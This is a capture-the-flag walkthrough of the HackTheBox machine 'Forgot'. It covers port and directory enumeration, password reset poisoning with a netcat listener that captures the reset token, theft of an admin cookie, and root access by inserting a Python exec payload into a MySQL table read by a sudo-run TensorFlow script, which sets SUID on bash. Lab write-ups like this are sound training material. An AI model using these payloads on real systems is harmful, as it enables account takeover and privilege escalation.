Forgot
This was a medium Linux box on the platform HackTheBox, created by MrR3boot.
🕵🏿Intelligence Gathering
First thing first, let’s get some information about the box by running some nmap scans
nmap -p- --min-rate 5000 -vv -oN all-ports.log 10.10.11.188
1
2
3
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
nmap -sVC -vv --min-rate 5000 -oN services.log 10.10.11.188
1
2
3
4
Scanning 2 services on **forgot.htb** (10.10.11.188)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 Werkzeug/2.1.2 Python/3.8.10
🕷️Web Enumeration
Let’s enumerate the technologies with whatweb
1
2
16:49:41 ➜ whatweb 10.10.11.188
http://10.10.11.188 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/2.1.2 Python/3.8.10], IP[10.10.11.188], PasswordField[password], Python[3.8.10], Script[module], Title[Login], UncommonHeaders[x-varnish], Varnish, Via-Proxy[1.1 varnish (Varnish/6.2)], Werkzeug[2.1.2]
Here how the website looks like,
Here the source code from ‘View Source’
Just a login page we got so far with a username of robert-dev-145092…we added the hostname to our /etc/hosts file. Now, knowing the hostname we can check the virtual host to make sure that we are not missing a subdomain in the meantime we also need to check the directories on forgot.htb.
I used gobuster for directory busting and ffuf to check the presence of subdomain but could not find any subdomain on this server.
After running gobuster dir -u http://forgot.htb -w ~/wordlists/SecLists/Discovery/Web-Content/directory-list-1.0.txt -t 60 -o dir-bust.log
Here are the results of both scans, really interesting information leaked.
1
2
3
4
5
/login (Status: 200) [Size: 5189]
/home (Status: 302) [Size: 189] [--> /]
/tickets (Status: 302) [Size: 189] [--> /]
Progress: 3779 / 87665 (4.31%) [ERROR] 2022/11/29 10:33:59 [!] Get **"http://forgot.htb/forgot"**: context deadline exceeded (Client.Timeout exceeded while awaiting headers)
/reset (Status: 200) [Size: 5523]
With those directories revealed to us, it’s time for us to visit those endpoints and see what we can get…The problem
I encoutered was that, the /forgot endpoint was not showing in my saved file as shown below
1
2
3
4
/login (Status: 200) [Size: 5189]
/home (Status: 302) [Size: 189] [--> /]
/tickets (Status: 302) [Size: 189] [--> /]
/reset (Status: 200) [Size: 5523]
Foothold & User
In the saved file, there is no /forgot, but visiting it is showing that it works properly. [Hint] read the error messages, they helps sometimes.
here are the screenshots of different endpoints of the server
we cannot access the rest, like /home and /tickets we will need to be connected. Since a 302 means we are not authorized to access the page.
With all these endpoints we can think about a password reset poisoning attack.
As described in the link above, in this attack we just have to change the Host an redirect the link to our host. This picture from port swinger depict it very well.
In that case i will need a nc listener ready to intercept the query and try to reset the password of the user we found earlier.
Here is the token we got
1
2
3
4
5
6
7
8
9
10
➜ sudo nc -nlvp 80
[sudo] password for d0n:
Listening on 0.0.0.0 80
Connection received on 10.10.11.188 55928
GET /reset?token=<your-token> HTTP/1.1
Host: 10.10.14.115
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Once the cookie stolen, we can reset the password and log in with the new password
home page
tickets
escalate
The escalate page will help us get somewhere due to the input. We can inject a malicious link in the link field in order to steal the admin cookie since we are escalating the issue to the admin. It was hard finding a link, I tried to use my I.P but no success…I tried the js links still did not have anything.
Finally we found a link where we can send the link and by accessing that page we can get the admin cookie and steal it
here is the vulnerable path http://10.10.11.188/static/main4.css
Now we got Diego’s ssh credentials and logged in as Diego
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
➜ ssh diego@forgot.htb -o UserKnownHostsFile=/dev/null
The authenticity of host 'forgot.htb (10.10.11.188)' can't be established.
ED25519 key fingerprint is SHA256:RoZ8jwEnGGByxNt04+A/cdluslAwhmiWqG3ebyZko+A.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'forgot.htb' (ED25519) to the list of known hosts.
diego@forgot.htb's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-132-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat 17 Dec 2022 05:16:55 AM UTC
System load: 0.92
Usage of /: 75.9% of 8.72GB
Memory usage: 26%
Swap usage: 0%
Processes: 221
Users logged in: 0
IPv4 address for eth0: 10.10.11.188
IPv6 address for eth0: dead:beef::250:56ff:feb9:3afe
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Fri Nov 18 10:51:30 2022 from 10.10.14.40
diego@forgot:~$ id; hostname
uid=1000(diego) gid=1000(diego) groups=1000(diego)
forgot
Privilege Escalation/Privesc
The first thing as usual, I checked the the list of allowed and forbidden commands for diego
1
2
3
4
5
6
7
diego@forgot:~$ sudo -l
Matching Defaults entries for diego on forgot:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User diego may run the following commands on forgot:
(ALL) NOPASSWD: /opt/security/ml_security.py
As we can see there a script sitting under /opt/security/ml_security.py
We found in the file the database credentials which is the same as the ssh one.
Here we have the libraries used in the script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1 #!/usr/bin/python3
2 import sys
3 import csv
4 import pickle
5 import mysql.connector
6 import requests
7 import threading
8 import numpy as np
9 import pandas as pd
10 import urllib.parse as parse
11 from urllib.parse import unquote
12 from sklearn import model_selection
13 from nltk.tokenize import word_tokenize
14 from sklearn.linear_model import LogisticRegression
15 from gensim.models.doc2vec import Doc2Vec, TaggedDocument
16 from tensorflow.python.tools.saved_model_cli import preprocess_input_exprs_arg_string
After looking for vulnerabilities, preprocess_input_exprs_arg_string from tensorflow is vulnerable and we will exploit it for the privilege escalation part. Here is the details about the vulnerability
Here is a structure of the table escalate.
1
2
3
4
5
6
7
8
9
mysql> desc escalate;
+--------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+--------+------+------+-----+---------+-------+
| user | text | YES | | NULL | |
| issue | text | YES | | NULL | |
| link | text | YES | | NULL | |
| reason | text | YES | | NULL | |
+--------+------+------+-----+---------+-------+
With that in mind, let’s inject a malicious python code into the database, in our case let’s get the root SUID sticky bit set to /usr/bin/bash
.
1
2
3
4
5
6
7
8
9
10
11
mysql> insert into escalate values ("a","b","c",'hello=exec("""\nimport os\nos.system("chmod +s /usr/bin/bash")""")');
Query OK, 1 row affected (0.01 sec)
mysql>
[1]+ Stopped mysql -u diego -D app -p
diego@forgot:/opt/security$ sudo /opt/security/ml_security.py
2022-12-17 08:24:14.446433: W tensorflow/stream_executor/platform/default/dso_loader.cc:64] Could not load dynamic library 'libcudart.so.11.0'; dlerror: libcudart.so.11.0: cannot open shared object file: No such file or directory
2022-12-17 08:24:14.446510: I tensorflow/stream_executor/cuda/cudart_stub.cc:29] Ignore above cudart dlerror if you do not have a GPU set up on your machine.
diego@forgot:/opt/security$ /usr/bin/bash -p
bash-5.0# cat /root/root.txt
1*******************************0
There we got it. Thanks for reading and happy hacking y’all!